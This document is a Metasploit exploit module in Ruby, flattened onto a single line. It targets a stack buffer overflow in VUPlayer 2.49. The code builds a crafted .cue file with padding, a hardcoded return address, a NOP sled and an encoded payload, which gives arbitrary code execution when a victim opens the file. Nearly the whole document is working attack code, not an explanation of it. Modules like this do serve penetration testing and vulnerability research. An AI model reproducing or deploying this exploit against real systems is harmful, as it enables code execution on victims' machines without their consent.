VUPlayer – ‘.cue’ Local Buffer Overflow (Metasploit)
## # $Id: vuplayer_cue.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VUPlayer CUE Buffer Overflow', 'Description' => %q{ This module exploits a stack over flow in VUPlayer <= 2.49. When the application is used to open a specially crafted cue file, an buffer is overwritten allowing for the execution of arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 10998 $', 'References' => [ [ 'OSVDB', '64581'], [ 'BID', '33960' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ], ], 'Privileged' => false, 'DisclosureDate' => 'Aug 18 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.cue']), ], self.class) end def exploit sploit = rand_text_alpha_upper(1012) sploit << [target.ret].pack('V') sploit << "\x90" * 12 sploit << payload.encoded cue = "FILE ""\"" cue << sploit cue << ".BIN""\"" + " BINARY\r\n" cue << "TRACK 01 MODE1/22352\r\n" cue << "INDEX 01 00:00:00\r\n" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(cue) end end |